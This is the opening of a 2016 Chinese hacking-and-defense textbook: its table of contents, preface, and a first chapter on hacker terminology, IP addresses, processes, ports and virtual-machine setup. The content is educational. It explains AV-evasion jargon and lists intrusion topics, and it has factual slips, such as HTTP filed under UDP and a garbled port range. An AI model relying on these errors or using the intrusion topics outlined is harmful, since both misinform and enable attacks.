学电脑从入门到精通

黑客攻防从入门到精通：命令版

武新华　李书梅　著

ISBN：978-7-111-53279-8

本书纸版由机械工业出版社于2016年出版，电子版由华章分社（北京华章图文信息有限公司，北京奥维博世图书发行有限公司）全球范围内制作与发行。

版权所有，侵权必究

客服热线：+ 86-10-68995265

客服信箱：service@bbbvip.com

官方网址：www.hzmedia.com.cn

新浪微博 @华章数媒

微信公众号 华章电子书（微信号：hzebook）

目录

前言

第1章　初识黑客

1.1　认识黑客

1.1.1　什么是黑客

1.1.2　黑客的特点

1.1.3　黑客常用术语

1.2　认识IP地址

1.2.1　IP地址概述

1.2.2　IP地址的分类

1.3　认识进程

1.3.1　查看系统进程

1.3.2　关闭和新建系统进程

1.4　认识端口

1.4.1　端口的分类

1.4.2　查看端口

1.5　在计算机中创建虚拟环境

1.5.1　安装VMware虚拟机

1.5.2　配置安装好的VMware虚拟机

1.5.3　安装虚拟操作系统

1.5.4　VMware　Tools安装

第2章　Windows系统中的命令行

2.1　Windows系统中的命令行

2.1.1　Windows系统中的命令行概述

2.1.2　Windows系统中的命令行操作

2.1.3　启动Windows系统中的命令行

2.2　在Windows系统中执行DOS命令

2.2.1　用菜单的形式进入DOS窗口

2.2.2　通过IE浏览器访问DOS窗口

2.2.3　复制、粘贴命令行

2.2.4　设置窗口风格

2.2.5　Windows系统命令行

2.3　全面认识DOS系统

2.3.1　DOS系统的功能

2.3.2　文件与目录

2.3.3　文件类型与属性

2.3.4　目录与磁盘

2.3.5　命令分类与命令格式

第3章　黑客常用的Windows网络命令行

3.1　必备的几个内部命令

3.1.1　命令行调用的command命令

3.1.2　复制命令

3.1.3　打开/关闭请求回显功能的echo命令

3.1.4　查看网络配置的ipconfig命令

3.1.5　命令行任务管理器的at命令

3.1.6　查看系统进程信息的Tasklist命令

3.2　黑客常用命令

3.2.1　测试物理网络的ping命令

3.2.2　查看网络连接的netstat

3.2.3　工作组和域的net命令

3.2.4　23端口登录的Telnet命令

3.2.5　传输协议FTP命令

3.2.6　替换重要文件的replace命令

3.2.7　远程修改注册表的reg命令

3.3　其他的网络命令

3.3.1　tracert命令

3.3.2　route命令

3.3.3　netsh命令

3.3.4　ARP命令

第4章　Windows系统命令行配置

4.1　Config.sys文件配置

4.1.1　Config.sys文件中的命令

4.1.2　Config.sys配置实例

4.1.3　Config.sys文件中常用的配置项目

4.2　批处理与管道

4.2.1　批处理命令实例

4.2.2　批处理中的常用命令

4.2.3　常用的管道命令

4.2.4　批处理的实例应用

4.3　对硬盘进行分区

4.3.1　硬盘分区相关的知识

4.3.2　利用Diskpart进行分区

4.4　可能出现的问题与解决方法

4.5　总结与经验积累

第5章　基于Windows认证的入侵

5.1　IPC$的空连接漏洞

5.1.1　IPC$概述

5.1.2　IPC$空连接漏洞

5.1.3　IPC$的安全解决方案

5.2　Telnet高级入侵

5.2.1　突破Telnet中的NTLM权限认证

5.2.2　Telnet典型入侵

5.2.3　Telnet杀手锏

5.2.4　Telnet高级入侵常用的工具

5.3　通过注册表入侵

5.3.1　注册表的相关知识

5.3.2　远程开启注册表服务功能

5.3.3　连接远程主机的“远程注册表服务”

5.3.4　编辑注册表文件

5.3.5　通过注册表开启终端服务

5.4　实现MS　SQL入侵

5.4.1　用MS　SQL实现弱口令入侵

5.4.2　入侵MS　SQL主机

5.4.3　MS　SQL注入攻击与防护

5.4.4　用NBSI软件实现MS　SQL注入攻击

5.4.5　MS　SQL入侵安全解决方案

5.5　获取账号密码

5.5.1　用Sniffer获取账号密码

5.5.2　字典工具

5.5.3　远程暴力破解

5.6　可能出现的问题与解决方法

5.7　总结与经验积累

第6章　远程管理Windows系统

6.1　远程计算机管理入侵

6.1.1　计算机管理概述

6.1.2　连接到远程计算机并开启服务

6.1.3　查看远程计算机信息

6.1.4　用远程控制软件实现远程管理

6.2　远程命令执行与进程查杀

6.2.1　远程执行命令

6.2.2　查杀系统进程

6.2.3　远程执行命令方法汇总

6.3　FTP远程入侵

6.3.1　FTP相关内容

6.3.2　扫描FTP弱口令

6.3.3　设置FTP服务器

6.4　可能出现的问题与解决方法

6.5　总结与经验积累

第7章　局域网攻击与防范

7.1　局域网安全介绍

7.1.1　局域网基础知识

7.1.2　局域网安全隐患

7.2　ARP欺骗与防御

7.2.1　ARP欺骗概述

7.2.2　WinArpAttacker　ARP欺骗攻击曝光

7.2.3　网络监听与ARP欺骗

7.2.4　金山贝壳ARP防火墙的使用

7.2.5　AntiArp-DNS防火墙

7.3　绑定MAC防御IP冲突攻击

7.3.1　查看本机的MAC地址

7.3.2　绑定MAC防御IP冲突攻击

7.4　局域网助手攻击与防御

7.5　利用网络守护神实现DNS欺骗

7.6　局域网监控工具

7.6.1　网络特工

7.6.2　LanSee工具

7.6.3　长角牛网络监控机

第8章　DOS命令的实际应用

8.1　DOS命令的基础应用

8.1.1　在DOS下正确显示中文信息

8.1.2　恢复误删除文件

8.1.3　让DOS窗口无处不在

8.1.4　DOS系统的维护

8.2　DOS中的环境变量

8.2.1　SET命令的使用

8.2.2　使用Debug命令

8.2.3　认识不同的环境变量

8.2.4　环境变量和批处理

8.3　在DOS中进行文件操作

8.3.1　抓取DOS窗口中的文本

8.3.2　在DOS中使用注册表

8.3.3　在DOS中实现注册表编程

8.3.4　在DOS中使用注册表扫描程序

8.4　网络中的DOS命令运用

8.4.1　检测DOS程序执行的目录

8.4.2　内存虚拟盘软件XMS-DSK的使用

8.4.3　在DOS中恢复回收站中的文件

8.4.4　在DOS中删除不必要的文件

8.5　可能出现的问题与解决方法

8.6　总结与经验积累

第9章　制作启动盘

9.1　制作启动盘简述

9.1.1　认识启动盘

9.1.2　应急启动盘的作用

9.1.3　制作Windows　PE启动盘

9.1.4　制作DOS启动盘

9.2　U盘启动盘的使用

9.2.1　进入U盘系统

9.2.2　用U盘启动盘安装系统

9.3　使用启动盘排除故障

9.3.1　使用启动盘备份数据

9.3.2　用启动盘替换损坏的系统文件

9.3.3　用启动盘维修注册表故障

9.3.4　用Windows诊断工具排除故障

9.4　可能出现的问题与解决方法

9.5　总结与经验积累

第10章　批处理BAT文件编程

10.1　在Windows中编辑批处理文件

10.2　在批处理文件中使用参数与组合命令

10.2.1　在批处理文件中使用参数

10.2.2　组合命令的实际应用

10.3　配置文件中常用的命令

10.3.1　分配缓冲区数目的Buffers命令

10.3.2　加载程序的Device命令

10.3.3　扩展键检查的Break命令

10.3.4　程序加载的Devicehigh命令

10.3.5　设置可存取文件数Files命令

10.3.6　安装内存驻留程序的Install命令

10.3.7　中断处理的Stacks命令

10.3.8　扩充内存管理程序Himem.sys

10.4　用BAT编程实现综合应用

10.4.1　系统加固

10.4.2　删除日志

10.4.3　删除系统中的垃圾文件

10.5　可能出现的问题与解决方法

10.6　总结与经验积累

第11章　病毒木马的主动防御和清除

11.1　认识病毒和木马

11.1.1　病毒知识入门

11.1.2　木马的组成与分类

11.2　关闭危险端口

11.2.1　通过安全策略关闭危险端口

11.2.2　自动优化IP安全策略

11.2.3　系统安全设置

11.3　用防火墙隔离系统与病毒

11.3.1　使用Windows防火墙

11.3.2　设置Windows防火墙的入站规则

11.4　杀毒软件的使用

11.4.1　用NOD32查杀病毒

11.4.2　瑞星杀毒软件

11.5　木马清除软件的使用

11.5.1　用木马清除专家清除木马

11.5.2　用木马清道夫清除木马

11.6　可能出现的问题与解决方法

11.7　总结与经验积累

第12章　流氓软件和间谍软件的清除

12.1　间谍软件防护实战

12.1.1　间谍软件防护概述

12.1.2　微软反间谍专家Windows　Defender

12.1.3　用Spy　Sweeper清除间谍软件

12.1.4　AD-Aware让间谍程序消失无踪

12.2　流氓软件的清除

12.2.1　清理浏览器插件

12.2.2　金山清理专家清除恶意软件

12.2.3　流氓软件的防范

12.3　常见的网络安全防护工具

12.3.1　浏览器绑架克星HijackThis

12.3.2　诺顿网络安全特警

12.3.3　使用360安全卫士对计算机进行防护

第13章　Android操作系统的控制与安全

13.1　Android手机数据备份功能

13.1.1　recovery模式

13.1.2　recovery的方法

13.2　Android　root权限

13.2.1　root的原理

13.2.2　root的好处以及风险

13.2.3　如何获取root权限

13.3　Android平台恶意软件及病毒

13.3.1　ROM内置恶意软件/病毒

13.3.2　破坏类恶意软件/病毒

13.3.3　吸费类恶意软件/病毒

13.3.4　窃取隐私类恶意软件/病毒

13.3.5　伪装类恶意软件/病毒

13.3.6　云更新类恶意软件/病毒

13.3.7　诱骗类恶意软件/病毒

第14章　iOS操作系统的常见应用及安全

14.1　针对iOS的攻击曝光

14.1.1　iKee攻击与防范

14.1.2　中间人攻击与防范

14.1.3　恶意应用程序Handy　Light和InstaStock的曝光与防范

14.1.4　具有漏洞的应用程序：iOS应用程序和第三方应用程序

14.2　备份和恢复iPhone/iPad/iPod数据

14.2.1　使用iCloud备份和恢复用户数据

14.2.2　使用iTunes备份和还原用户数据

14.2.3　使用91助手备份和还原用户数据

第15章　移动Wi-Fi安全攻防

15.1　认识Wi-Fi

15.1.1　Wi-Fi的技术原理

15.1.2　Wi-Fi的主要功能

15.1.3　Wi-Fi的优势

15.2　无线路由器的基本设置

15.2.1　无线路由器外观

15.2.2　无线路由器的参数设置

15.2.3　设置完成后重启无线路由器

15.3　智能手机的Wi-Fi连接

15.3.1　Android手机Wi-Fi连接

15.3.2　iPhone手机Wi-Fi连接

15.4　无线路由器的安全设置

15.4.1　修改Wi-Fi连接密码

15.4.2　禁用DHCP功能

15.4.3　无线加密

15.4.4　关闭SSID广播

15.4.5　设置IP过滤和MAC地址列表

15.4.6　主动更新

15.5　Wi-Fi密码破解及防范

15.5.1　傻瓜式破解Wi-Fi密码曝光及防范

15.5.2　Linux下利用抓包破解Wi-Fi密码曝光

15.6　Wi-Fi存在的安全风险

15.6.1　Wi-Fi钓鱼陷阱

15.6.2　Wi-Fi接入点被偷梁换柱

15.6.3　攻击无线路由器

15.6.4　内网监听攻击

15.6.5　劫机风险

15.7　Wi-Fi安全防范措施

附录

前言

黑客使用得最多、最频繁的工具不是那些Windows系统中的工具软件，而是那些被Microsoft（微软）刻意摒弃的DOS命令，或者更具体地说，就是那些需要手工在命令行状态下输入的网络命令。因此，就有人不断发出“DOS不是万能的，但没有DOS是万万不能的”感慨。

在计算机技术日新月异的今天，称霸天下的Windows系统仍有很多做不了和做不好的事，学习和掌握DOS命令行技术仍然是成为计算机高手的必修课程。

本书涵盖了DOS和Windows各版本操作系统下几乎所有的网络操作命令，详细地讲解了各种命令的功能和参数，并针对具体应用列举了大量经典示例，能使广大Windows用户知其然，更知其所以然，真正做到学以致用，技高一筹。

为了节省用户宝贵的时间，提高用户的使用水平，本书在创作过程中尽量具备如下特色：

·与时俱进，加入移动终端（Android、iOS等）安全方面内容的介绍。

·从零起步，步步深入，由浅入深地讲解，使初学者和具有一定基础的用户都能逐步提高，快速掌握黑客防范技巧与工具的使用方法。

·注重实用性，理论和实例相结合，并配以大量插图，生动易懂。

·介绍大量小技巧和小窍门，提高读者的学习效率，节省他们的摸索时间。

·重点突出、操作简单、内容丰富，同时附有大量的操作实例，读者可以一边学习，一边在计算机上操作，做到即学即用、即用即得。

本书内容全面、语言简练、深入浅出、通俗易懂，既可作为即查即用的工具手册，也可作为了解黑客的参考书目。本书不论在体例结构上，还是在技术实现及创作思想上，都做了精心的安排，力求将最新的技术、最好的学习方法奉献给读者。

作者采用通俗易懂的图文解说，即使你是计算机新手也能通读全书；用任务驱动式的黑客软件讲解，揭秘每一种黑客攻击的手法；新颖的黑客技术盘点，有助于你做好“先下手为强”的防护；攻防互参的防御方法，全面确保你的网络安全。

我们虽满腔热情，但限于自己的水平，书中的疏漏之处在所难免，欢迎广大读者批评指正。

编者

2016年1月

第1章　初识黑客

想要学习黑客知识，就得了解进程、端口、IP地址以及黑客常见的术语和命令。本章正是针对初学者对这方面了解不多，专门做出讲解，从而帮助读者为后面的学习打好基础。

主要内容：

●认识黑客

●认识进程

●在计算机中创建虚拟环境

●认识IP地址

●认识端口

1.1　认识黑客

1994年以来，互联网在全球的迅猛发展为人们提供了方便、自由和无限的财富，政治、军事、经济、科技、教育、文化等各个方面都越来越网络化，并且上网逐渐成为人们生活、娱乐的一部分。可以说，信息时代已经到来，信息已成为物质和能量以外维持人类社会的第三资源，它是未来生活中的重要介质。随着计算机的普及和互联网技术的迅速发展，黑客也随之出现了。

1.1.1　什么是黑客

黑客的基本含义是一个拥有熟练计算机技术的人，但大部分媒体将计算机侵入者称为黑客，而实际上，黑客有如下几种：

白帽黑客是指有能力破坏计算机安全但不具恶意目的的黑客。白帽黑客一般遵守道德规范并常常试图同企业合作去改善所发现的计算机安全弱点。

灰帽黑客是指处于伦理和法律边缘的黑客。

黑帽黑客别称骇客，经常使用于区分黑帽黑客和一般（正面的）有理性的黑客。这个词流行于1983年，采用了“Safe Cracker”的相似发音，并且理论化为一个犯罪和黑客的混成语。

1.1.2　黑客的特点

黑客的一般特点是：有英文基础、知道常用的黑客术语和网络安全术语、能熟练使用常用的DOS命令和黑客工具，还会使用主流的编程语言及脚本。

在常见的黑客论坛中，经常会看到肉鸡、后门和免杀等词语，这些词语可以统称为黑客术语。除了掌握相关的黑客术语属于之外，黑客一般还掌握TCP/IP协议、ARP协议等网络安全术语。

常用DOS命令是指在DOS环境下使用的一些命令，主要包括Ping、netstat以及net命令等，利用这些命令可以实现不同的功能，利用Ping命令可以获取目标计算机的IP地址以及主机名。而黑客工具则是指黑客用来远程入侵或者查看目标计算机是否存在漏洞的工具，例如使用X-Scan可以查看目标计算机是否存在漏洞，利用EXE捆绑器可以制作带木马的其他应用程序。

主流的编程语言以及脚本语言主要有5类，如下：

（1）网页脚本语言（web page script language）

网页脚本语言就是网页代码，比如HTML、Javascript、CSS、ASP、PHP、XML等。

（2）解释型语言（Interpreted Language）

解释型语言包括Perl、Python、REBOL、Ruby等，也常被称为脚本语言，通常被用于和底层的操作系统沟通。这类语言的缺点是效率差、源代码外露，因此不适合用来开发软件产品，一般用于网页服务器中。

（3）混合型语言（Hybrid Language）

混合型语言的代表是Java和C#，介于解释型和编译型之间。

（4）编译型语言（Compiling Language）

C/C++、Java都是编译型语言。

（5）汇编语言（Assembly Language）

汇编语言是最接近于硬件的语言，不过现在用的人很少。

提示

程序语言的学习顺序建议如下。

如果完全没有程序经验，可照这个顺序学习：Javascript→解释型语言→混合型语言→编译型语言→汇编。

1.1.3　黑客常用术语

1.肉鸡

肉鸡比喻那些可以随意被黑客控制的计算机，黑客可以像操作自己的计算机那样来操作它们，而不被对方所发觉。

2.木马

本马指表面上伪装成正常的程序，但是当这些程序运行时，入侵者就会获取系统的整个控制权限。有很多黑客热衷于使用木马程序来控制别人的计算机，比如灰鸽子、黑洞、PcShare等。

3.网页木马

网页本马指表面上伪装成普通的网页文件或是将恶意的代码直接插入到正常的网页文件中，当有人访问时，网页木马就会利用对方系统或者浏览器的漏洞自动将配置好木马的服务端下载到访问者的计算机上来自动执行。

4.挂马

挂马指在别人的网站文件里放入网页木马或者是将代码潜入到对方正常的网页文件里，以使浏览者中马。

5.后门

后门是一种形象的比喻，黑客在利用某些方法成功地控制了目标主机后，可以在对方的系统中植入特定的程序，或者是修改某些设置。这些改动从表面上很难被察觉，但是黑客却可以使用相应的程序或者方法轻易地与这台计算机建立连接，重新控制这台计算机，这就好像黑客偷偷地配了一把主人房间的钥匙，可以随时进出房间而不被主人发现一样。通常，大多数的特洛伊木马程序都可以被入侵者用于制作后门。

6.IPC$

IPC$是共享“命名管道”的资源，它是为了让进程之间通信而开放的命名管道，可以通过验证用户名和密码获得相应的权限，在远程管理计算机和查看计算机的共享资源时使用。

7.弱口令

弱口令指那些强度不够，容易被猜解的口令，类似123、abc这样的口令（密码）。

8.Shell

Shell指的是一种命令执行环境，比如，我们按下键盘上的“开始键+R”组合键时会出现“运行”对话框，在里面输入“cmd”会出现一个用于执行命令的黑窗口，这个就是Windows的Shell执行环境。

9.WebShell

WebShell就是以ASP、PHP、JSP或者CGI等网页文件形式存在的一种命令执行环境，也可以将其称为一种网页后门。

10.溢出

确切地讲，应该是“缓冲区溢出”。简单地解释就是程序对接收的输入数据没有执行有效的检测而导致错误，后果可能是程序崩溃或者是执行攻击者的命令。其大致可以分为两类：①堆溢出；②栈溢出。

11.注入

由于程序员的水平参差不齐，相当大一部分应用程序存在安全隐患，用户可以提交一段数据库查询代码，根据程序返回的结果，获得某些想要的数据，这个就是SQL注入。

12.注入点

注入点是可以实行注入的地方，通常是一个访问数据库的连接。根据注入点数据库运行账号的不同权限，你所得到的权限也不同。

13.内网

内网通俗地讲就是局域网，比如网吧、校园网、公司内部网等。IP地址如果是在以下三个范围之内，就说明我们是处于内网之中的：10.0.0.0~10.255.255.255、172.16.0.0~172.31.255.255、192.168.0.0~192.168.255.255。

14.外网

外网直接连入互联网，可以与互联网上的任意一台计算机互相访问。

15.免杀

免杀通过加壳、加密、修改特征码、加花指令等技术来修改程序，使其逃过杀毒软件的查杀。

16.加壳

利用特殊的算法，改变EXE可执行程序或者DLL动态链接库文件的编码（比如实现压缩、加密），以达到缩小文件体积或者加密程序编码，甚至是躲过杀毒软件查杀的目的。目前较常用的壳有UPX、ASPack、PePack、PECompact、UPack等。

17.花指令

花指令是几句汇编指令，可让汇编语句进行一些跳转，使得杀毒软件不能正常地判断病毒文件的构造。通俗地讲，就是杀毒软件是从头到脚按顺序来查找病毒的，如果我们把病毒的头和脚颠倒位置，杀毒软件就找不到病毒了。

1.2　认识IP地址

在互联网中，只要利用IP地址，都可以找到目标主机，因此，如果想要攻击某个互联网主机，就要先确定该目标主机的域名或IP地址。

1.2.1　IP地址概述

所谓IP地址就是一种主机编址方式，给每个连接在互联网中的主机分配一个32 bit（比特）地址，也称为网际协议地址。

按照传输控制协议/Internet协议（Transport Control Protocol/Internet Protocol，TCP/IP）协议的规定，IP地址用二进制来表示，每个IP地址长32 bit，1 bit换算成字节就是4个字节。例如一个采用二进制形式的IP地址是“00001010000000000000000000000001”，这么长的地址人们处理起来就会很费劲，为了方便使用，IP地址经常被写成十进制的形式，中间使用符号“.”分为不同的字节，即用XXX.XXX.XXX.XXX的形式来表现，每组XXX代表小于等于255的10进制数，例如192.168.38.6。IP地址的这种表示方法称为“点分十进制表示法（Dotted decimal notation）”，这显然比二进制的1或0容易记忆。

一个完整的IP地址信息通常应包括IP地址、子网掩码、默认网关和DNS等4部分内容。它们4个只有协同工作时，用户才可以访问互联网并被互联网中的计算机所访问（采用静态IP地址接入互联网时，ISP应当为用户提供全部的IP地址信息）。

1.IP地址

企业网络使用的合法IP地址，由提供互联网接入的服务商（ISP）分配，私有IP地址则可以由网络管理员自由分配。但网络内部所有计算机的IP地址都不能相同，否则，会发生IP地址冲突，导致网络连接失败。

2.子网掩码

子网掩码是与IP地址结合使用的一种技术，其主要作用有两个，一是用于确定地址中的网络号和主机号，二是用于将一个大IP网络划分为若干个小子网络。

3.默认网关

默认网关是指一台主机如果找不到可用的网关，就把数据包发送给默认指定的网关，由这个网关来处理数据包。从一个网络向另一个网络发送信息时，也必须经过一道“关口”，这道关口就是网关。

4.DNS

DNS服务用于将用户的域名请求转换为IP地址。如果企业网络没有提供DNS服务，则DNS服务器的IP地址应当是ISP的DNS服务器。如果企业网络自己提供了DNS服务，则DNS服务器的IP地址就是内部DNS服务器的IP地址。

1.2.2　IP地址的分类

互联网中的每个接口都有唯一的IP地址与其对应，该地址并不是平面形式的地址空间，而是具有一定的结构，一般情况下，IP地址可以分为5大类：A类、B类、C类、D类以及E类，如图1-1所示。

图1-1　5类IP地址

这些32位的地址通常会写成4个十进制的数，其中每个整数对应一个字节。

1.A类IP地址

这类IP地址由一个字节的网络地址和3个字节的主机地址组成，网络地址的最高位必须是“0”，可用的A类网络有126个，每个网络能容纳1亿多个主机（网络号不能为127，因为该网络号被保留用作回路及诊断功能），地址范围为1.0.0.1~126.255.255.254。

2.B类IP地址

这类IP地址由2个字节的网络地址和2个字节的主机地址组成，网络地址的最高位必须是“10”，可用的网络有16382个，每个网络能容纳6万多个主机，地址范围为128.0.0.1~191.255.255.254。

3.C类IP地址

这类IP地址由3个字节的网络地址和1个字节的主机地址组成，网络地址的最高位必须是“110”，可用的网络达209万，每个网络能容纳254个主机，地址范围为192.0.0.1~223.255.255.254。

4.D类IP地址

这类IP地址用于多点广播，第一个字节以“1110”开始，它是一个专门保留的地址，并不指向特定的网络。目前这一类地址被用在多点的广播中。多点广播地址用来一次寻址一组计算机，它标识共享同一协议的一组计算机，地址范围为224.0.0.1~239.255.255.254。

5.E类IP地址

这类IP地址以“11110”开始，为了将来使用而保留，全零（0.0.0.0）地址对应于当前主机；全“1”的IP地址（255.255.255.255）是当前子网的广播地址，地址范围为240.0.0.1~255.255.255.254。

注意

全0和全1的IP地址禁止使用，因为全0代表本网络，而全1是广播地址（在CISCO上可以使用全0地址）。常用的是A、B、C这3类地址。

1.3　认识进程

进程是程序在计算机上的一次执行活动。开始运行一个程序时，就启动了一个进程。显然，程序是静态的，进程是动态的。进程可以分为系统进程和用户进程两种。凡是用于完成操作系统的各种功能的进程就是系统进程，它们就是处于运行状态下的操作系统本身；用户进程就是所有由用户启动的进程。进程是操作系统进行资源分配的单位。

1.3.1　查看系统进程

在Windows系统下按“Ctrl+Shift+Esc”组合键，即可打开“任务管理器”窗口，如图1-2所示。切换到“进程”选项卡，即可看到本机中开启的所有进程，用户名SYSTEM所对应的进程便是系统进程。系统进程的名称及含义如表1-1所示。如果想设置进程显示的内容，则选择“查看”→“选择列”菜单项，在“选择进程页列”对话框中勾选相应的复选框，如图1-3所示。

图1-2　查看本机中开启的进程

图1-3　勾选需要显示的内容

表1-1　系统进程的名称和基本含义

1.3.2　关闭和新建系统进程

在Windows 7系统中，用户可以手动关闭和新建部分系统进程，例如可以手动关闭和新建explorer.exe进程。

步骤1：右击任务栏中的空白处，在弹出的菜单中单击“启动任务管理器”命令，如图1-4所示。

图1-4　启动任务管理器

步骤2：选中explorer.exe进程，单击“结束进程”按钮结束该进程，如图1-5所示。

图1-5　结束explorer.exe进程

步骤3：弹出对话框，单击“结束进程”按钮，结束该进程，如图1-6所示。

步骤4：此时可看见桌面上只显示了桌面背景，而桌面图标和任务栏消失了，如图1-7所示。

步骤5：在“Windows任务管理器”窗口中单击“文件>新建任务（运行…）”命令，如图1-8所示。

步骤6：在文本框中输入explorer.exe命令，单击“确定”按钮，新建explorer.exe进程，如图1-9所示。

步骤7：查看创建进程后的桌面。桌面上重新显示了桌面图标和任务栏，即系统已成功运行explorer.exe进程，如图1-10所示。

图1-6　单击“结束进程”按钮

图1-7　桌面图标和任务栏消失

图1-8　单击“文件>新建任务（运行…）”命令

图1-9　输入explorer.exe命令

图1-10　成功运行explorer.exe进程

1.4　认识端口

端口（Port）可以认为是计算机与外界通信交流的出口。其中硬件领域的端口又称为接口，如USB端口、串行端口等。软件领域的端口一般指互联网中面向连接服务和无连接服务的通信协议端口，是一种抽象的软件结构，包括一些数据结构和I/O（基本输入输出）缓冲区。

1.4.1　端口的分类

端口是传输层的内容，是面向连接的，它们对应网络上常见的一些服务。这些常见的服务可划分为使用TCP端口（面向连接，如打电话）和使用UDP端口（无连接，如写信）两种。

在网络中可以被命名和寻址的通信端口是一种可分配资源，由网络开放系统互联参考模型（Open System Interconnection Reference Model，OSI）协议可知，传输层与网络层的区别是传输层提供进程通信能力，网络通信的最终地址不仅包括主机地址，还包括可描述进程的某种标识。因此，当应用程序（调入内存运行后一般称为进程）通过系统调用与某端口建立连接（绑定，Binding）之后，传输层传给该端口的数据都被相应进程所接收，相应进程发给传输层的数据都从该端口输出。

在网络技术中，端口大致有两种意思：一是物理意义上的商品，如集线器、交换机、路由器等用于连接其他网络设备的接口；二是逻辑意义上的端口，一般指TCP/IP协议中的端口，范围为0~65535，如浏览网页服务的80端口，用于FTP服务的21端口等。

逻辑意义上的端口有多种分类标准，常见的分类标准有如下两种。

1.按端口号分布划分

按端口号分布划分可以分为“公认端口”“注册端口”以及“动态和/或私有端口”等，服务器常见应用端口如表1-2所示。

表1-2　服务器常见应用端口

（1）公认端口

公认端口的端口号为0~1023。它们紧密绑定（binding）于一些服务。通常这些端口的通信明确表明了某种服务的协议，比如80端口分配给HTTP服务，21端口分配给FTP服务等。

（2）注册端口

注册端口的端口号为1024~49151。它们松散地绑定于一些服务。也就是说有许多服务绑定于这些端口，这些端口同样用于许多其他目的，比如许多系统处理动态端口从1024左右开始。

（3）动态和/或私有端口

动态和/或私有端口的端口号为49152~5535。理论上，不应为服务分配这些端口。但是一些木马和病毒就比较喜欢这样的端口，因为这些端口不易引起人们的注意，从而很容易屏蔽。

2.按协议类型划分

根据所提供的服务方式，端口又可分为“TCP端口”和“UDP端口”两种。一般直接与接收方进行的连接方式，大多采用TCP协议。只是把信息放在网上发布出去而不去关心信息是否到达（也即“无连接方式”），则大多采用UDP协议。

使用TCP协议的常见端口主要有如下几种。

（1）FTP协议端口

定义了文件传输协议，使用21端口。某计算机开了FTP服务便启动了文件传输服务，下载文件和上传主页都要用到FTP服务。

（2）Telnet协议端口

一种用于远程登录的端口，用户可用自己的身份远程连接到计算机上，通过这种端口可提供一种基于DOS模式的通信服务。如支持纯字符界面BBS的服务器会将23端口打开，以对外提供服务。

（3）SMTP协议端口

现在很多邮件服务器都是使用这个简单邮件传送协议来发送邮件。如常见免费邮件服务中使用的就是此邮件服务端口，所以在电子邮件设置中经常会看到有SMTP端口设置栏，服务器开放的是25号端口。

（4）POP3协议端口

POP3协议用于接收邮件，通常使用110端口。只要有相应使用POP3协议的程序（如Outlook等），就可以直接使用邮件程序收到邮件（如使用126邮箱的用户就没有必要先进入126网站，再进入自己的邮箱来收信了）。

使用UDP协议的常见端口主要有如下几种。

（1）HTTP协议端口

这是用户使用得最多的协议，即“超文本传输协议”。当上网浏览网页时，就要在提供网页资源的计算机上打开80号端口以提供服务。通常的“WWW服务”“Web服务器”等使用的就是这个端口。

（2）DNS协议端口

DNS用于域名解析服务，这种服务在Windows NT系统中用得最多。互联网上的每一台计算机都有一个网络地址与之对应，这个地址就是IP地址，它以纯数字形式表示。但由于这种表示方法不便于记忆，于是就出现了域名，访问计算机时只需要知道域名即可，域名和IP地址之间的变换由DNS服务器来完成（DNS用的是53号端口）。

（3）SNMP协议端口

简单网络管理协议，用来管理网络设备，使用161号端口。

（4）QQ协议端口

QQ程序既提供服务又接收服务，使用无连接协议，即UDP协议。QQ服务器使用8000号端口侦听是否有信息到来，客户端使用4000号端口向外发送信息。

1.4.2　查看端口

为了查找目标主机上都开放了哪些端口，可以使用某些扫描工具对目标主机一定范围内的端口进行扫描。

在Windows系统中，可以使用Netstat命令查看端口。在“命令提示符”窗口中运行“netstat-a-n”命令，即可看到以数字形式显示的TCP和UDP连接的端口号及其状态，具体步骤如下：

步骤1：单击“开始”按钮，在弹出的“开始”菜单中单击“运行”按钮，如图1-11所示。

步骤2：在文本框中输入“cmd”命令，单击“确定”按钮，如图1-12所示。

图1-11　单击“运行”按钮

图1-12　输入“cmd”命令

步骤3：打开命令提示符窗口后输入“netstat-a-n”命令查看TCP和UDP连接的端口号及其状态，如图1-13所示。

图1-13　输入“netstat-a-n”命令

如果攻击者使用扫描工具对目标主机进行扫描，即可获取目标计算机打开的端口情况，并了解目标计算机提供了哪些服务。根据这些信息，攻击者即可对目标主机有一个初步了解。

如果在管理员不知情的情况下打开了太多端口，则可能出现两种情况：一种是提供了服务，管理者没有注意到，例如安装IIS服务时，软件就会自动地增加很多服务；另一种是服务器被攻击者植入了木马程序，通过特殊的端口进行通信。这两种情况都比较危险，管理员不了解服务器提供的服务的话，就会减小系统的安全系数。

1.5　在计算机中创建虚拟环境

黑客无论在测试和学习黑客工具操作方法还是在攻击时，都不会拿实体计算机来尝试，而是在计算机中搭建虚拟环境，即在自己已存在的系统中，利用虚拟机创建一个内在的系统，该系统可以与外界独立，但与已经存在的系统建立网络关系，从而方便使用某些黑客工具进行模拟攻击，并且一旦黑客工具对虚拟机造成了破坏，也可以很快恢复，且不会影响自己本来的计算机系统，使操作更加安全。

1.5.1　安装VMware虚拟机

目前，虚拟化技术已经非常成熟，与其有关的产品如雨后春笋般地出现，如VMWare、Virtual PC、Xen、Parallels、Virtuozzo等，但最流行、最常用的就当属VMWare了。VMWare Workstation是VMWare公司的专业虚拟机软件，可以虚拟现有任何操作系统，而且使用简单、容易上手。

安装VMWare Workstation的具体操作步骤如下：

步骤1：下载并双击VMWare Workstation安装软件，将弹出“VMWare产品安装向导”消息框，进入“欢迎使用VMWare Workstation的安装程序”界面，如图1-14所示。

步骤2：在“欢迎使用VMWare Workstation的安装程序”界面中，单击“下一步”按钮，选择接受许可协议中的条款，再次单击“下一步”按钮，即可打开“安装类型”对话框，在其中选择VMware Workstation安装模式，其安装类型包括典型安装和自定义安装两种。这里选择安装类型为“典型”安装模式，如果选择“自定义”安装模式，则可以进一步选择其安装的组件，如图1-15所示。

图1-14　“欢迎使用VMWare Workstation的安装程序”界面

图1-15　“安装类型”对话框

步骤3：单击“下一步”按钮，即可打开“安装路径”对话框，在其中指定VMware Workstation的具体安装位置，如图1-16所示。在“安装路径”对话框中默认安装到C磁盘，如果想要安装到其他磁盘，单击“更改”按钮，即可打开“更改安装路径”对话框，在其中可以更改好软件的安装位置，如图1-17所示。

步骤4：单击“确定”按钮返回“安装路径”对话框，继续单击“下一步”按钮，会有启动时是否检查产品更新，再下一步会有帮助改善VMware Workstation，这两项可自由选择。单击“下一步”按钮，可打开“创建程序快捷方式”对话框，在其中设置是否在桌面、开始菜单程序文件夹中创建该程序的快捷方式，如图1-18所示。

步骤5：在“创建程序快捷方式”对话框中勾选想要创建的快捷方式，单击“下一步”按钮，即可打开“准备安装”对话框，提示用户已经设置完毕，准备开始安装，如图1-19所示。如果单击“上一步”按钮，则可以返回重新设置安装选项。

